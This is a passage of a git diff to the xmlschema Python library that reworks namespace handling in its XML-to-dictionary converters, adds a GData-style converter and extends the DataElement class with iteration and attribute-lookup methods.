*xsi:type* or xs:alternative. :param level: the level related to the decoding process (0 means the root). @@ -263,60 +366,77 @@ def element_decode(self, data: ElementData, xsd_element: 'XsdElement', """ xsd_type = xsd_type or xsd_element.type result_dict = self.dict() - if level == 0 and xsd_element.is_global() and not self.strip_namespaces and self: - schema_namespaces = set(xsd_element.namespaces.values()) + xmlns = self.get_effective_xmlns(data.xmlns, level, xsd_element) + + def keep_result_dict() -> bool: + """ + Decide when to keep a result dict in case of an element with simple content. + """ + if data.attributes or self.force_dict and xsd_type.is_complex(): + return True + elif not xmlns or not self._use_namespaces: + return False + + namespace = get_namespace(data.tag) + if any(x[1] == namespace for x in xmlns): + return True + + if xsd_type.is_qname() and isinstance(data.text, str): + try: + prefix = data.text.split(':')[0] + except IndexError: + prefix = '' + + if any(x[0] == prefix for x in xmlns): + return True + + return False + + if self._use_namespaces and xmlns: result_dict.update( - ('%s:%s' % (self.ns_prefix, k) if k else self.ns_prefix, v) - for k, v in self._namespaces.items() - if v in schema_namespaces or v == XSI_NAMESPACE + (f'{self.ns_prefix}:{k}' if k else self.ns_prefix, v) for k, v in xmlns ) + if data.attributes: + result_dict.update(self.map_attributes(data.attributes)) + xsd_group = xsd_type.model_group - if xsd_group is None: - if data.attributes or self.force_dict and not xsd_type.is_simple(): - result_dict.update(t for t in self.map_attributes(data.attributes)) - if data.text is not None and data.text != '' and self.text_key is not None: + if xsd_group is None or not data.content: + if keep_result_dict(): + result_dict.update(self.map_attributes(data.attributes)) + if data.text is not None and self.text_key is not None: result_dict[self.text_key] = data.text - return result_dict + elif not level and self.preserve_root: + return self.dict([(self.map_qname(data.tag), data.text)]) else: - return data.text if data.text != '' else None + return data.text else: if data.attributes: - result_dict.update(t for t in self.map_attributes(data.attributes)) + result_dict.update(self.map_attributes(data.attributes)) has_single_group = xsd_group.is_single() - if data.content: - for name, value, xsd_child in self.map_content(data.content): - try: - result = result_dict[name] - except KeyError: - if xsd_child is None or has_single_group and xsd_child.is_single(): - result_dict[name] = self.list([value]) if self.force_list else value - else: - result_dict[name] = self.list([value]) + for name, value, xsd_child in self.map_content(data.content): + try: + result = result_dict[name] + except KeyError: + if xsd_child is None or has_single_group and xsd_child.is_single(): + result_dict[name] = self.list([value]) if self.force_list else value else: - if not isinstance(result, MutableSequence) or not result: - result_dict[name] = self.list([result, value]) - elif isinstance(result[0], MutableSequence) or \ - not isinstance(value, MutableSequence): - result.append(value) - else: - result_dict[name] = self.list([result, value]) - - elif data.text is not None and data.text != '' and self.text_key is not None: - result_dict[self.text_key] = data.text - - if level == 0 and self.preserve_root: - return self.dict( - [(self.map_qname(data.tag), result_dict if result_dict else None)] - ) - - if not result_dict: - return None - elif len(result_dict) == 1 and self.text_key in result_dict: - return result_dict[self.text_key] - return result_dict + result_dict[name] = self.list([value]) + else: + if not isinstance(result, MutableSequence) or not result: + result_dict[name] = self.list([result, value]) + elif isinstance(result[0], MutableSequence) or \ + not isinstance(value, MutableSequence): + result.append(value) + else: + result_dict[name] = self.list([result, value]) + if not level and self.preserve_root: + return self.dict([(self.map_qname(data.tag), result_dict or None)]) + return result_dict or None + + @stackable def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> ElementData: """ Extracts XML decoded data from a data structure for encoding into an ElementTree. @@ -326,80 +446,67 @@ def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> :param level: the level related to the encoding process (0 means the root). :return: an ElementData instance. """ - if level != 0: - tag = xsd_element.name + if level or not self.preserve_root: + element_name = None + elif not isinstance(obj, MutableMapping): + raise XMLSchemaTypeError(f"A dictionary expected, got {type(obj)} instead.") + elif len(obj) != 1: + raise XMLSchemaValueError("The dictionary must have exactly one element.") else: - if xsd_element.is_global(): - tag = xsd_element.qualified_name - else: - tag = xsd_element.name - if self.preserve_root and isinstance(obj, MutableMapping): - match_local_name = cast(bool, self.strip_namespaces or self.default_namespace) - match = xsd_element.get_matching_item(obj, self.ns_prefix, match_local_name) - if match is not None: - obj = match + element_name, obj = next(iter(obj.items())) if not isinstance(obj, MutableMapping): if xsd_element.type.simple_type is not None: - return ElementData(tag, obj, None, {}) + return ElementData(xsd_element.name, obj, None, {}, None) elif xsd_element.type.mixed and isinstance(obj, (str, bytes)): - return ElementData(tag, None, [(1, obj)], {}) + return ElementData(xsd_element.name, None, [(1, obj)], {}, None) else: - return ElementData(tag, None, obj, {}) + return ElementData(xsd_element.name, None, obj, {}, None) text = None content: List[Tuple[Union[int, str], Any]] = [] attributes = {} + xmlns = self.set_context(obj, level) + + if element_name is None: + tag = xsd_element.name + else: + tag = self.unmap_qname(element_name) + if not xsd_element.is_matching(tag, self.default_namespace): + raise XMLSchemaValueError("data tag does not match XSD element name") + for name, value in obj.items(): if name == self.text_key: text = value elif self.cdata_prefix is not None and \ name.startswith(self.cdata_prefix) and \ - name[len(self.cdata_prefix):].isdigit(): - index = int(name[len(self.cdata_prefix):]) - content.append((index, value)) - elif name == self.ns_prefix: - self[''] = value - elif name.startswith('%s:' % self.ns_prefix): - if not self.strip_namespaces: - self[name[len(self.ns_prefix) + 1:]] = value + (index := name[len(self.cdata_prefix):]).isdigit(): + content.append((int(index), value)) + elif self.is_xmlns(name): + continue elif self.attr_prefix and \ name.startswith(self.attr_prefix) and \ - name != self.attr_prefix: - attr_name = name[len(self.attr_prefix):] + (attr_name := name[len(self.attr_prefix):]): ns_name = self.unmap_qname(attr_name, xsd_element.attributes) attributes[ns_name] = value elif not isinstance(value, MutableSequence) or not value: - content.append((self.unmap_qname(name), value)) + ns_name = self.unmap_qname(name, xmlns=self.get_xmlns_from_data(value)) + content.append((ns_name, value)) elif isinstance(value[0], (MutableMapping, MutableSequence)): - ns_name = self.unmap_qname(name) + ns_name = self.unmap_qname(name, xmlns=self.get_xmlns_from_data(value[0])) content.extend((ns_name, item) for item in value) else: - xsd_group = xsd_element.type.model_group - if xsd_group is None: - # fallback to xs:anyType encoder - xsd_group = xsd_element.any_type.model_group - assert xsd_group is not None - ns_name = self.unmap_qname(name) - for xsd_child in xsd_group.iter_elements(): - matched_element = xsd_child.match(ns_name, resolve=True) - if matched_element is not None: - if matched_element.type and matched_element.type.is_list(): - content.append((ns_name, value)) - else: - content.extend((ns_name, item) for item in value) - break - else: - if self.attr_prefix == '' and ns_name not in attributes: - for key, xsd_attribute in xsd_element.attributes.items(): - if key and xsd_attribute.is_matching(ns_name): - attributes[key] = value - break - else: - content.append((ns_name, value)) - else: + xsd_child = xsd_element.match_child(ns_name) + if xsd_child is not None: + if xsd_child.type and xsd_child.type.is_list(): content.append((ns_name, value)) + else: + content.extend((ns_name, item) for item in value) + elif self.attr_prefix == '' and ns_name in xsd_element.attributes: + attributes[ns_name] = value + else: + content.extend((ns_name, item) for item in value) - return ElementData(tag, text, content, attributes) + return ElementData(tag, text, content, attributes, xmlns) diff --git a/xmlschema/converters/gdata.py b/xmlschema/converters/gdata.py new file mode 100644 index 0000000..595187a --- /dev/null +++ b/xmlschema/converters/gdata.py @@ -0,0 +1,178 @@ +# +# Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). +# All rights reserved. +# This file is distributed under the terms of the MIT License. +# See the file 'LICENSE' in the root directory of the present +# distribution, or http://opensource.org/licenses/MIT. +# +# @author Mikhail Razgovorov <1338833@gmail.com> +# +from collections.abc import MutableMapping, MutableSequence +from typing import TYPE_CHECKING, Any, Optional, List, Dict, Type, Union, \ + Tuple, Container + +from ..aliases import NamespacesType, BaseXsdType +from ..names import XSD_ANY_TYPE +from ..helpers import local_name +from ..exceptions import XMLSchemaTypeError +from .default import ElementData, stackable, XMLSchemaConverter + +if TYPE_CHECKING: + from ..validators import XsdElement + + +class GDataConverter(XMLSchemaConverter): + """ + XML Schema based converter class for GData protocol convention. + + ref: https://developers.google.com/gdata/docs/json + + :param namespaces: Map from namespace prefixes to URI. + :param dict_class: Dictionary class to use for decoded data. Default is `dict`. + :param list_class: List class to use for decoded data. Default is `list`. + :param kwargs: Additional keyword arguments to pass to base converter and \ + namespace mapper classes. + """ + __slots__ = () + + def __init__(self, namespaces: Optional[NamespacesType] = None, + dict_class: Optional[Type[Dict[str, Any]]] = None, + list_class: Optional[Type[List[Any]]] = None, + **kwargs: Any) -> None: + kwargs.update(attr_prefix='', text_key='$t', cdata_prefix='$') + super().__init__(namespaces, dict_class, list_class, **kwargs) + + @property + def lossy(self) -> bool: + return True # a child element can override an attribute in the same namespace + + def map_qname(self, qname: str) -> str: + name = super().map_qname(qname) + if name.startswith('{') or ':' not in name: + return name + else: + return name.replace(':', '$') + + def unmap_qname(self, qname: str, + name_table: Optional[Container[Optional[str]]] = None, + xmlns: Optional[List[Tuple[str, str]]] = None) -> str: + if '$' in qname and not qname.startswith('$'): + qname = qname.replace('$', ':') + return super().unmap_qname(qname, name_table, xmlns) + + def get_xmlns_from_data(self, obj: Any) -> Optional[List[Tuple[str, str]]]: + if not self._use_namespaces or not isinstance(obj, MutableMapping): + return None + + xmlns = [] + for k, v in obj.items(): + if k == 'xmlns': + xmlns.append(('', v)) + elif k.startswith('xmlns$'): + xmlns.append((k[6:], v)) + return xmlns + + @stackable + def element_decode(self, data: ElementData, xsd_element: 'XsdElement', + xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> Any: + xsd_type = xsd_type or xsd_element.type + + tag = self.map_qname(data.tag) + result_dict = self.dict(t for t in self.map_attributes(data.attributes)) + + xmlns = self.get_effective_xmlns(data.xmlns, level, xsd_element) + if self._use_namespaces and xmlns: + result_dict.update((f'xmlns${k}' if k else 'xmlns', v) for k, v in xmlns) + + xsd_group = xsd_type.model_group + if xsd_group is None or not data.content: + if data.text is not None: + result_dict['$t'] = data.text + else: + has_single_group = xsd_group.is_single() + for name, item, xsd_child in self.map_content(data.content): + if name.startswith('$') and name[1:].isdigit(): + result_dict[name] = item + continue + + assert isinstance(item, MutableMapping) and xsd_child is not None + + item = item[name] + if name in result_dict: + other = result_dict[name] + if not isinstance(other, MutableSequence) or not other: + result_dict[name] = self.list([other, item]) + elif isinstance(other[0], MutableSequence) or \ + not isinstance(item, MutableSequence): + other.append(item) + else: + result_dict[name] = self.list([other, item]) + else: + if xsd_type.name == XSD_ANY_TYPE or \ + has_single_group and xsd_child.is_single(): + result_dict[name] = item + else: + result_dict[name] = self.list([item]) + + return self.dict([(tag, result_dict)]) + + @stackable + def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> ElementData: + if not isinstance(obj, MutableMapping): + raise XMLSchemaTypeError(f"A dictionary expected, got {type(obj)} instead.") + elif len(obj) != 1 or '$t' in obj: + tag = xsd_element.name + else: + key, value = next(iter(obj.items())) + if not isinstance(value, MutableMapping): + tag = xsd_element.name + else: + tag = self.unmap_qname(key, xmlns=self.get_xmlns_from_data(value)) + if xsd_element.is_matching(tag): + obj = value + elif not self.namespaces and local_name(tag) == xsd_element.local_name: + obj = value + else: + tag = xsd_element.name + + text = None + content: List[Tuple[Union[str, int], Any]] = [] + attributes = {} + + xmlns = self.set_context(obj, level) + for name, value in obj.items(): + if name == '$t': + text = value + elif name[0] == '$' and name[1:].isdigit(): + content.append((int(name[1:]), value)) + elif not isinstance(value, (MutableMapping, MutableSequence)): + if name == 'xmlns' or name.startswith('xmlns$'): + continue # an xmlns declaration + ns_name = self.unmap_qname(name, xsd_element.attributes) + attributes[ns_name] = value + elif not isinstance(value, MutableSequence) or not value: + ns_name = self.unmap_qname(name, xmlns=self.get_xmlns_from_data(value)) + content.append((ns_name, value)) + elif isinstance(value[0], (MutableMapping, MutableSequence)): + ns_name = self.unmap_qname(name, xmlns=self.get_xmlns_from_data(value[0])) + for item in value: + content.append((ns_name, item)) + else: + ns_name = self.unmap_qname(name) + xsd_child = xsd_element.match_child(ns_name) + if xsd_child is not None: + if xsd_child.type and xsd_child.type.is_list(): + content.append((ns_name, value)) + else: + content.extend((ns_name, item) for item in value) + else: + if isinstance(value, MutableSequence): + # Fallback tentative to an attribute if no element match + attr_name = self.unmap_qname(name, xsd_element.attributes) + if attr_name in xsd_element.attributes: + attributes[attr_name] = value + continue + + content.append((ns_name, value)) + + return ElementData(tag, text, content, attributes, xmlns) diff --git a/xmlschema/converters/jsonml.py b/xmlschema/converters/jsonml.py index 4dd7dd9..e8f13a2 100644 --- a/xmlschema/converters/jsonml.py +++ b/xmlschema/converters/jsonml.py @@ -7,13 +7,12 @@ # # @author Davide Brunato <brunato@sissa.it> # -from collections.abc import MutableSequence -from typing import TYPE_CHECKING, Any, Optional, List, Dict, Type +from collections.abc import MutableMapping, MutableSequence +from typing import TYPE_CHECKING, Any, Optional, List, Dict, Tuple, Type -from ..exceptions import XMLSchemaValueError -from ..etree import ElementData +from ..exceptions import XMLSchemaTypeError, XMLSchemaValueError from ..aliases import NamespacesType, BaseXsdType -from .default import XMLSchemaConverter +from .default import ElementData, stackable, XMLSchemaConverter if TYPE_CHECKING: from ..validators import XsdElement @@ -37,9 +36,7 @@ def __init__(self, namespaces: Optional[NamespacesType] = None, list_class: Optional[Type[List[Any]]] = None, **kwargs: Any) -> None: kwargs.update(attr_prefix='', text_key='', cdata_prefix='') - super(JsonMLConverter, self).__init__( - namespaces, dict_class, list_class, **kwargs - ) + super().__init__(namespaces, dict_class, list_class, **kwargs) @property def lossy(self) -> bool: @@ -49,12 +46,38 @@ def lossy(self) -> bool: def losslessly(self) -> bool: return True + def get_xmlns_from_data(self, obj: Any) -> Optional[List[Tuple[str, str]]]: + if not self._use_namespaces or not isinstance(obj, MutableSequence) \ + or len(obj) < 2 or not isinstance(obj[1], MutableMapping): + return None + + xmlns = [] + for k, v in obj[1].items(): + if k == 'xmlns': + xmlns.append(('', v)) + elif k.startswith('xmlns:'): + xmlns.append((k.split('xmlns:')[1], v)) + + return xmlns + + @stackable def element_decode(self, data: ElementData, xsd_element: 'XsdElement', xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> Any: xsd_type = xsd_type or xsd_element.type result_list = self.list() + xmlns = self.get_effective_xmlns(data.xmlns, level, xsd_element) + result_list.append(self.map_qname(data.tag)) - if data.text is not None and data.text != '': + + attributes = self.dict(self.map_attributes(data.attributes)) + if xmlns and self._use_namespaces: + attributes.update( + (f'{self.ns_prefix}:{k}' if k else self.ns_prefix, v) for k, v in xmlns + ) + if attributes: + result_list.append(attributes) + + if data.text is not None: result_list.append(data.text) if xsd_type.model_group is not None: @@ -63,57 +86,46 @@ def element_decode(self, data: ElementData, xsd_element: 'XsdElement', for name, value, _ in self.map_content(data.content) ]) - attributes = self.dict((k, v) for k, v in self.map_attributes(data.attributes)) - if level == 0 and xsd_element.is_global() and not self.strip_namespaces and self: - attributes.update( - ('xmlns:%s' % k if k else 'xmlns', v) for k, v in self._namespaces.items() - ) - if attributes: - result_list.insert(1, attributes) - return result_list + @stackable def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> ElementData: - attributes: Dict[str, Any] = {} + if not isinstance(obj, MutableSequence): + msg = "The first argument must be a sequence, {} provided" + raise XMLSchemaTypeError(msg.format(type(obj))) + elif not obj: + raise XMLSchemaValueError("The first argument is an empty sequence") + + xmlns = self.set_context(obj, level) - if not isinstance(obj, MutableSequence) or not obj: - raise XMLSchemaValueError("Wrong data format, a not empty list required: %r." % obj) + tag = self.unmap_qname(obj[0]) + if not xsd_element.is_matching(tag): + raise XMLSchemaValueError("Unmatched tag") data_len = len(obj) if data_len == 1: - if not xsd_element.is_matching(self.unmap_qname(obj[0]), self._namespaces.get('')): - raise XMLSchemaValueError("Unmatched tag") - return ElementData(xsd_element.name, None, None, attributes) - - try: - for k, v in obj[1].items(): - if k == 'xmlns': - self[''] = v - elif k.startswith('xmlns:'): - self[k.split('xmlns:')[1]] = v + return ElementData(tag, None, None, {}, None) + attributes: Dict[str, Any] = {} + if isinstance(obj[1], MutableMapping): + content_index = 2 for k, v in obj[1].items(): if k != 'xmlns' and not k.startswith('xmlns:'): attributes[self.unmap_qname(k, xsd_element.attributes)] = v - - except AttributeError: - content_index = 1 else: - content_index = 2 - - if not xsd_element.is_matching(self.unmap_qname(obj[0]), self._namespaces.get('')): - raise XMLSchemaValueError("Unmatched tag") + content_index = 1 if data_len <= content_index: - return ElementData(xsd_element.name, None, [], attributes) + return ElementData(tag, None, [], attributes, xmlns) elif data_len == content_index + 1 and \ (xsd_element.type.simple_type is not None or not xsd_element.type.content and xsd_element.type.mixed): - return ElementData(xsd_element.name, obj[content_index], [], attributes) + return ElementData(tag, obj[content_index], [], attributes, xmlns) else: cdata_num = iter(range(1, data_len)) content = [ - (self.unmap_qname(e[0]), e) if isinstance(e, MutableSequence) + (self.unmap_qname(e[0], xmlns=self.get_xmlns_from_data(e)), e) + if isinstance(e, MutableSequence) else (next(cdata_num), e) for e in obj[content_index:] ] - return ElementData(xsd_element.name, None, content, attributes) + return ElementData(tag, None, content, attributes, xmlns) diff --git a/xmlschema/converters/parker.py b/xmlschema/converters/parker.py index 4091680..764c133 100644 --- a/xmlschema/converters/parker.py +++ b/xmlschema/converters/parker.py @@ -10,9 +10,9 @@ from collections.abc import MutableMapping, MutableSequence from typing import TYPE_CHECKING, Any, Optional, List, Dict, Type -from ..etree import ElementData from ..aliases import NamespacesType, BaseXsdType -from .default import XMLSchemaConverter +from ..resources import XMLResource +from .default import ElementData, XMLSchemaConverter if TYPE_CHECKING: from ..validators import XsdElement @@ -38,24 +38,32 @@ def __init__(self, namespaces: Optional[NamespacesType] = None, list_class: Optional[Type[List[Any]]] = None, preserve_root: bool = False, **kwargs: Any) -> None: kwargs.update(attr_prefix=None, text_key='', cdata_prefix=None) - super(ParkerConverter, self).__init__( - namespaces, dict_class, list_class, - preserve_root=preserve_root, **kwargs + super().__init__( + namespaces, dict_class, list_class, preserve_root=preserve_root, **kwargs ) + @property + def xmlns_processing_default(self) -> str: + return 'stacked' if isinstance(self.source, XMLResource) else 'none' + @property def lossy(self) -> bool: return True + @property + def loss_xmlns(self) -> bool: + return True + def element_decode(self, data: ElementData, xsd_element: 'XsdElement', xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> Any: xsd_type = xsd_type or xsd_element.type preserve_root = self.preserve_root - if xsd_type.simple_type is not None: + + if xsd_type.model_group is None or not data.content: if preserve_root: return self.dict([(self.map_qname(data.tag), data.text)]) else: - return data.text if data.text != '' else None + return data.text else: result_dict = self.dict() for name, value, xsd_child in self.map_content(data.content): @@ -87,31 +95,26 @@ def element_decode(self, data: ElementData, xsd_element: 'XsdElement', return result_dict if result_dict else None def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> ElementData: - name: str = xsd_element.name + tag: str = xsd_element.name if not isinstance(obj, MutableMapping): if obj == '': obj = None if xsd_element.type.simple_type is not None: - return ElementData(xsd_element.name, obj, None, {}) + return ElementData(tag, obj, None, {}, None) else: - return ElementData(xsd_element.name, None, obj, {}) + return ElementData(tag, None, obj, {}, None) else: if not obj: - return ElementData(xsd_element.name, None, None, {}) + return ElementData(tag, None, None, {}, None) elif self.preserve_root: try: - items = obj[self.map_qname(name)] + items = obj[self.map_qname(tag)] except KeyError: - return ElementData(xsd_element.name, None, None, {}) + return ElementData(tag, None, None, {}, None) else: items = obj try: - xsd_group = xsd_element.type.model_group - if xsd_group is None: - xsd_group = xsd_element.any_type.model_group - assert xsd_group is not None - content = [] for name, value in obj.items(): ns_name = self.unmap_qname(name) @@ -121,18 +124,17 @@ def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> for item in value: content.append((ns_name, item)) else: - for xsd_child in xsd_group.iter_elements(): - matched_element = xsd_child.match(ns_name, resolve=True) - if matched_element is not None: - if matched_element.type and matched_element.type.is_list(): - content.append((ns_name, value)) - else: - content.extend((ns_name, item) for item in value) - break + ns_name = self.unmap_qname(name) + xsd_child = xsd_element.match_child(ns_name) + if xsd_child is not None: + if xsd_child.type and xsd_child.type.is_list(): + content.append((ns_name, value)) + else: + content.extend((ns_name, item) for item in value) else: content.extend((ns_name, item) for item in value) except AttributeError: - return ElementData(xsd_element.name, items, None, {}) + return ElementData(tag, items, None, {}, None) else: - return ElementData(xsd_element.name, None, content, {}) + return ElementData(tag, None, content, {}, None) diff --git a/xmlschema/converters/unordered.py b/xmlschema/converters/unordered.py index 7b36c02..da392f9 100644 --- a/xmlschema/converters/unordered.py +++ b/xmlschema/converters/unordered.py @@ -8,10 +8,10 @@ # @author Davide Brunato <brunato@sissa.it> # from collections.abc import MutableMapping, MutableSequence -from typing import TYPE_CHECKING, cast, Any, Dict, Union +from typing import TYPE_CHECKING, Any, Dict, Union -from ..etree import ElementData -from .default import XMLSchemaConverter +from ..exceptions import XMLSchemaTypeError, XMLSchemaValueError +from .default import ElementData, stackable, XMLSchemaConverter if TYPE_CHECKING: from ..validators import XsdElement @@ -19,8 +19,8 @@ class UnorderedConverter(XMLSchemaConverter): """ - Same as :class:`XMLSchemaConverter` but :meth:`element_encode` returns - a dictionary for the content of the element, that can be used directly + Same as :class:`XMLSchemaConverter` but :meth:`XMLSchemaConverter.element_encode` + returns a dictionary for the content of the element, that can be used directly for unordered encoding mode. In this mode the order of the elements in the encoded output is based on the model visitor pattern rather than the order in which the elements were added to the input dictionary. @@ -29,6 +29,7 @@ class UnorderedConverter(XMLSchemaConverter): """ __slots__ = () + @stackable def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> ElementData: """ Extracts XML decoded data from a data structure for encoding into an ElementTree. @@ -38,23 +39,22 @@ def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> :param level: the level related to the encoding process (0 means the root). :return: an ElementData instance. """ - if level: - tag = xsd_element.name + if level or not self.preserve_root: + element_name = None + elif not isinstance(obj, MutableMapping): + raise XMLSchemaTypeError(f"A dictionary expected, got {type(obj)} instead.") + elif len(obj) != 1: + raise XMLSchemaValueError("The dictionary must have exactly one element.") else: - tag = xsd_element.qualified_name - if self.preserve_root and isinstance(obj, MutableMapping): - match_local_name = cast(bool, self.strip_namespaces or self.default_namespace) - match = xsd_element.get_matching_item(obj, self.ns_prefix, match_local_name) - if match is not None: - obj = match + element_name, obj = next(iter(obj.items())) if not isinstance(obj, MutableMapping): if xsd_element.type.simple_type is not None: - return ElementData(tag, obj, None, {}) + return ElementData(xsd_element.name, obj, None, {}, None) elif xsd_element.type.mixed and isinstance(obj, (str, bytes)): - return ElementData(tag, None, [(1, obj)], {}) + return ElementData(xsd_element.name, None, [(1, obj)], {}, None) else: - return ElementData(tag, None, obj, {}) + return ElementData(xsd_element.name, None, obj, {}, None) text = None attributes = {} @@ -64,57 +64,51 @@ def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> # building content_lu, content which is not a list or lists to be placed # into a single element (element has a list content type) must be wrapped # in a list to retain that structure. Character data are not wrapped into - # lists because they because they are divided from the rest of the content - # into the unordered mode generator function of the ModelVisitor class. + # lists because they are divided from the rest of the content into the + # unordered mode generator function of the ModelVisitor class. content_lu: Dict[Union[int, str], Any] = {} + xmlns = self.set_context(obj, level) + + if element_name is None: + tag = xsd_element.name + else: + tag = self.unmap_qname(element_name) + if not xsd_element.is_matching(tag, self.default_namespace): + raise XMLSchemaValueError("data tag does not match XSD element name") + for name, value in obj.items(): if name == self.text_key: text = value elif self.cdata_prefix is not None and \ name.startswith(self.cdata_prefix) and \ - name[len(self.cdata_prefix):].isdigit(): - index = int(name[len(self.cdata_prefix):]) - content_lu[index] = value - elif name == self.ns_prefix: - self[''] = value - elif name.startswith('%s:' % self.ns_prefix): - self[name[len(self.ns_prefix) + 1:]] = value + (index := name[len(self.cdata_prefix):]).isdigit(): + content_lu[int(index)] = value + elif self.is_xmlns(name): + continue elif self.attr_prefix and \ name.startswith(self.attr_prefix) and \ - name != self.attr_prefix: - attr_name = name[len(self.attr_prefix):] + (attr_name := name[len(self.attr_prefix):]): ns_name = self.unmap_qname(attr_name, xsd_element.attributes) attributes[ns_name] = value elif not isinstance(value, MutableSequence) or not value: - content_lu[self.unmap_qname(name)] = [value] + ns_name = self.unmap_qname(name, xmlns=self.get_xmlns_from_data(value)) + content_lu[ns_name] = [value] elif isinstance(value[0], (MutableMapping, MutableSequence)): - content_lu[self.unmap_qname(name)] = value + ns_name = self.unmap_qname(name, xmlns=self.get_xmlns_from_data(value[0])) + content_lu[ns_name] = value else: - xsd_group = xsd_element.type.model_group - if xsd_group is None: - xsd_group = xsd_element.any_type.model_group - assert xsd_group is not None - # `value` is a list but not a list of lists or list of dicts. ns_name = self.unmap_qname(name) - for xsd_child in xsd_group.iter_elements(): - matched_element = xsd_child.match(ns_name, resolve=True) - if matched_element is not None: - if matched_element.type and matched_element.type.is_list(): - content_lu[self.unmap_qname(name)] = [value] - else: - content_lu[self.unmap_qname(name)] = value - break - else: - if self.attr_prefix == '' and ns_name not in attributes: - for xsd_attribute in xsd_element.attributes.values(): - if xsd_attribute.is_matching(ns_name): - attributes[ns_name] = value - break - else: - content_lu[self.unmap_qname(name)] = [value] + xsd_child = xsd_element.match_child(ns_name) + if xsd_child is not None: + if xsd_child.type and xsd_child.type.is_list(): + content_lu[ns_name] = [value] else: - content_lu[self.unmap_qname(name)] = [value] + content_lu[ns_name] = value + elif self.attr_prefix == '' and ns_name in xsd_element.attributes: + attributes[ns_name] = value + else: + content_lu[ns_name] = value - return ElementData(tag, text, content_lu, attributes) + return ElementData(tag, text, content_lu, attributes, xmlns) diff --git a/xmlschema/dataobjects.py b/xmlschema/dataobjects.py index c1637da..820b02f 100644 --- a/xmlschema/dataobjects.py +++ b/xmlschema/dataobjects.py @@ -7,22 +7,20 @@ # # @author Davide Brunato <brunato@sissa.it> # -import sys -if sys.version_info < (3, 7): - from typing import GenericMeta as ABCMeta -else: - from abc import ABCMeta - +from abc import ABCMeta +from copy import copy from itertools import count from typing import TYPE_CHECKING, cast, overload, Any, Dict, List, Iterator, \ Optional, Union, Tuple, Type, MutableMapping, MutableSequence -from elementpath import XPathContext, XPath2Parser + +from elementpath import XPathContext, XPath2Parser, build_node_tree +from elementpath.etree import etree_tostring from .exceptions import XMLSchemaAttributeError, XMLSchemaTypeError, XMLSchemaValueError -from .etree import ElementData, etree_tostring from .aliases import ElementType, XMLSourceType, NamespacesType, BaseXsdType, DecodeType -from .helpers import get_namespace, get_prefixed_qname, local_name, raw_xml_encode -from .converters import XMLSchemaConverter +from .helpers import get_namespace, get_prefixed_qname, local_name, update_namespaces, \ + raw_xml_encode, get_namespace_map +from .converters import ElementData, XMLSchemaConverter from .resources import XMLResource from . import validators @@ -49,6 +47,7 @@ class DataElement(MutableSequence['DataElement']): value: Optional[Any] = None tail: Optional[str] = None + xmlns: Optional[List[Tuple[str, str]]] = None xsd_element: Optional['XsdElement'] = None xsd_type: Optional[BaseXsdType] = None _encoder: Optional['XsdElement'] = None @@ -57,10 +56,11 @@ def __init__(self, tag: str, value: Optional[Any] = None, attrib: Optional[Dict[str, Any]] = None, nsmap: Optional[MutableMapping[str, str]] = None, + xmlns: Optional[List[Tuple[str, str]]] = None, xsd_element: Optional['XsdElement'] = None, xsd_type: Optional[BaseXsdType] = None) -> None: - super(DataElement, self).__init__() + super().__init__() self._children = [] self.tag = tag self.attrib = {} @@ -72,6 +72,8 @@ def __init__(self, tag: str, self.attrib.update(attrib) if nsmap is not None: self.nsmap.update(nsmap) + if xmlns is not None: + self.xmlns = xmlns if xsd_element is not None: self.xsd_element = xsd_element @@ -82,10 +84,10 @@ def __init__(self, tag: str, self._encoder = self.xsd_element @overload - def __getitem__(self, i: int) -> 'DataElement': ... + def __getitem__(self, i: int) -> 'DataElement': ... # pragma: no cover @overload - def __getitem__(self, s: slice) -> MutableSequence['DataElement']: ... + def __getitem__(self, s: slice) -> MutableSequence['DataElement']: ... # pragma: no cover def __getitem__(self, i: Union[int, slice]) \ -> Union['DataElement', MutableSequence['DataElement']]: @@ -134,7 +136,7 @@ def __setattr__(self, key: str, value: Any) -> None: else: self._encoder = self.xsd_element - super(DataElement, self).__setattr__(key, value) + super().__setattr__(key, value) @property def text(self) -> Optional[str]: @@ -143,7 +145,25 @@ def text(self) -> Optional[str]: def get(self, key: str, default: Any = None) -> Any: """Gets a data element attribute.""" - return self.attrib.get(key, default) + try: + return self.attrib[key] + except KeyError: + if not self.nsmap: + return default + + # Try a match with mapped/unmapped name + if key.startswith('{'): + key = get_prefixed_qname(key, self.nsmap) + return self.attrib.get(key, default) + elif ':' in key: + try: + _prefix, _local_name = key.split(':') + key = f'{{{self.nsmap[_prefix]}}}{_local_name}' + except (ValueError, KeyError): + pass + else: + return self.attrib.get(key, default) + return default def set(self, key: str, value: Any) -> None: """Sets a data element attribute.""" @@ -170,11 +190,62 @@ def prefixed_name(self) -> str: """The prefixed name, or the tag if no prefix is defined for its namespace.""" return get_prefixed_qname(self.tag, self.nsmap) + @property + def display_name(self) -> str: + """The prefixed name, or the tag if it's associated with the default namespace.""" + prefixed_name = self.prefixed_name + return self.name if ':' not in prefixed_name else prefixed_name + @property def local_name(self) -> str: """The local part of the tag.""" return local_name(self.tag) + def iter(self, tag: Optional[str] = None) -> Iterator['DataElement']: + """ + Creates an iterator for the data element and its subelements. If tag + is not `None` or '*', only data elements whose matches tag are returned + from the iterator. + """ + if tag == '*': + tag = None + if tag is None or tag == self.tag: + yield self + for child in self._children: + yield from child.iter(tag) + + def iterchildren(self, tag: Optional[str] = None) -> Iterator['DataElement']: + """ + Creates an iterator for the child data elements. If *tag* is not `None` or '*', + only data elements whose name matches tag are returned from the iterator. + """ + if tag == '*': + tag = None + for child in self: + if tag is None or tag == child.tag: + yield child + + def get_namespaces(self, namespaces: Optional[NamespacesType] = None, + root_only: bool = True) -> NamespacesType: + """ + Returns an overall namespace map for DetaElement, resolving prefix redefinitions. + + :param namespaces: builds the namespace map starting over the 